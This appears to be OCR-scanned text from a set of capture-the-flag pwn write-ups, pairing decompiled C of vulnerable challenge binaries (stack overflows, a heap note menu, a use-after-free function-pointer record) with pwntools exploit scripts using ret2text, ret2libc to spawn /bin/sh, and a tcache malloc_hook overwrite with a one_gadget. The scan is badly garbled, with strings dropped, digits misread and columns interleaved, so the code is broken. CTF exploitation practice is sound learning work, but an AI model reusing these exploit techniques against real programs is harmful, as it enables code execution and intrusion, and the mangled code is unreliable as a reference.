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ssize_t vulnerable()

{

[ )

char buf[24]; // [esp+@h] [ebp-18h] BYREF [int shell()

return read(®@, buf, 32u); it
i

[PV Y =]

return system("/bin/sh™);

¥
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from pwn import
r=remote( ,26438)

system_addr=0x804851B

payload ox1c p32(system_addr)

r.sendline(payload)

r.interactive()
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switch ( (unsigned int)sub_9EA()
{
case 1lu:
if ( !qword_202018 )

exit(e);
sub_AFF();

--gword _202018; : -
brgak_ - 102010

case 2u: '02018 qword_2082018 dq 7
adiFlY . 02018
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add

int sub_AFF()

{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

vl = sub_AB2();
if (vl == -1)
return puts("Full");
printf(“size?");
result = sub_9EA();
v2 = result;
if ( result > @ && result <= 256 )
{
qword_202080[v1] = malloc(result);
if ( !qword_202080[v1] )
{
puts("Something Wrong!");
exit(-1);

gword 202060[v1] = v2; gword_202080[v1] = malloc(result);

result = puts("Done!"); if ( !qword_2e2e80[v1] )
} { m : L1
return result; puts("Something Wrong!");
} exit(-1);

¥
dword_2@2@60[v1] = v2;
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edit

int edit()

{

int v1; // [rsp+Ch] [rbp-4h]

printf("idx?");
vl = sub_9EA();
if (vi<e || vi>e6 || 'qword_202080[v1] )
exit(e);
printf("content:");
read(®, (void *)qword_2@2e8e[vl1], (unsigned int)dword_2@2060[v1]);
return puts("Done!");

show

int show()

{

int v1; // [rsp+Ch] [rbp-4h]

printf(“idx?");

vl = sub_9EA();

if (vi<eoe || vi>6]|]| !'qword_202080[v1] )
exit(e);

puts((const char *)gword_2e2080[v1]);

return puts("Done!");

delete

int delete()

{

int v1; // [rsp+Ch] [rbp-4h]

printf("idx?");

vl = sub_9EA();

if (vi<e || vi>e6 || !'qword_282080[v1] )
exit(e);

free((void *)qword_202080[v1]);

dword_202060[v1] = 0;

return puts(“Done!™);
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case 4u:
if ( !'qword_2e2010 )

{
puts("NoNoNo!");

exit(@);

¥
delete();

--qword_20201e;
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from pwn import

context(arch ,log_level

r = process(
libc = ELF(

)
elf=ELF(

def add(size):
r.recvuntil(

r.sendline(
r.recvuntil(
r.sendline(
o

.recvuntil(

)
)
(size))

)

def edit(index,data):

r.recvuntil(
r.sendline(
.recvuntil(

.recvuntil(
.send(data)

r
r.sendline(
r
r

def show(index):
r.recvuntil(
r.sendline(
r.recvuntil(
r.sendline(

)
)
(index))
)

)
(index))
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def delete(index):
r.recvuntil(

.sendline(

.sendline( (index))

r
r.recvuntil( )
r
r

.recvuntil( )

ox4f322

tache_chunk=u64(r.recvuntil( ,drop=True).ljust(8, ))-0x250

(tache_chunk)

libc_base=u64(r.recvuntil( )[-6:].1just(8, ))-0x3ebca0
one_gadget libc_base
realloc_addr=1ibc_base+libc.symbols[

malloc_hook=1ibc_base+libc.symbols|[

(malloc_hook)

0x60 p64(malloc_hook

p64(realloc_addr + 8))
add (0x10)

r.interactive()
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ssize t vuln()

{
char buf[1e4]; // [esp+Ch] [ebp-6Ch]
setbuf(stdin, buf);
return read(@, buf, ©xl1eeu);

¥

P AR

from pwn import

context.log_level

sh remote( ,28463)
elf

p32(elf.plt[ D)
p32(elf.symbols| D)
p32(1)

p32(elf.got[

p32(4)

sh.sendline(payload)

write_addr u32(sh.recvuntil( )[-4:1)
libcbase = write_addr libc.symbols|
system libcbase libc.symbols|

binsh libcbase libc.search(

112
p32(system)
p32(0@xdeadbeef)
p32(binsh)

sh.sendline(payload)

sh.interactive()
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add

v2 = ask("Index");
if (v2<e || vz > 16)
return puts("Out of index!");
if ( records[v2] )
return printf("Index #%d is used!\n", v2);
records[v2] = (int)malloc(@xCu);
v3 = records[v2];
*(_DWORD *)v3 = rec_int_print;
*(_DWORD *)(v3 + 4) = rec_int_free;
puts("Blob type:");
puts("1l. Integer");
puts("2. Text");
vl = ask("Type");

if (vi==1)
{
*(_DWORD *)(v3 + 8) = ask("value");
¥
else
{
if (vl l=2)

return puts("Invalid type!");
size = ask("Length");
if ( size > ox4e00 )
return puts("Length too long, please buy pro edition to store longer note!");
*(_DWORD *)(v3 + 8) = malloc(size);
printf("Value > ");
fgets(*(char **)(v3 + 8), size, stdin);
*(_DWORD *)v3 = rec_str_print;
*(_DWORD *)(v3 + 4) = rec_str_free;
¥
puts("Okey, got your data. Here is it:");
return (*(int (__cdecl **)(int))v3)(v3);
¥

record print

free

value/text

text




del

int do_del()
{

int v@; // eax

ve = ask("Index");
return (*(int (__cdecl **)(int))(records[ve] + 4))(records[ve]);

}

show
int do_dump()
¢ int v@; // eax
ve = ask("Index");
return (*(int (__cdecl **)(int))records[ve])(records[ve]);
¥
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int _ cdecl rec_int_free(void *pti
{

free(ptr);

return puts(“Note freed!™);

}

[Ant __cdecl rec_str_free(void *ptr)
i
free(*((void **)ptr + 2));
free(ptr);

return puts(“Note freed!");

I
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from pwn import

context(arch ,log level

remote( , 29362)

def newl(index):
r.recvuntil(
.sendline(
.recvuntil( )
.sendline( (index))
.recvuntil( )
.sendline(
.recvuntil(

.sendline(

def new2(index, length, value):
r.recvuntil( )

.sendline(

.recvuntil( )

.sendline( (index))

.recvuntil( )

.sendline(

.recvuntil( )

.sendline( (length))

.recvuntil( )

"
"
"
"
"
"
"
"
"

.sendline(value)

def dele(index):
.recvuntil(
.sendline(
.recvuntil( )
.sendline( (index))

def show(index):
.recvuntil(
.sendline(
.recvuntil( )
.sendline( (index))

p32(elf.sym[
)

r.interactive()
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int _ _cdecl main(int argc, const char **argv, const char **envp)

{
int v4; // [esp+14h] [ebp-Ch] BYREF

puts("This program is hungry. You should feed it.");
__1s0c99_scanf("%s"™, &v4);

puts("Do you feel the flow?");

return @;

int printFlag()

(
char s[58]; // [esp+1Ah] [ebp-3Eh] BYRE!
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
fgets(s, 50, stream);
puts(s);
fflush(stdout);
return fclose(stream);
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from pwn import

r=remote( ,28836)

system_addr=0x804856d

payload ox18 p32(system_addr)

r.sendline(payload)

r.interactive()
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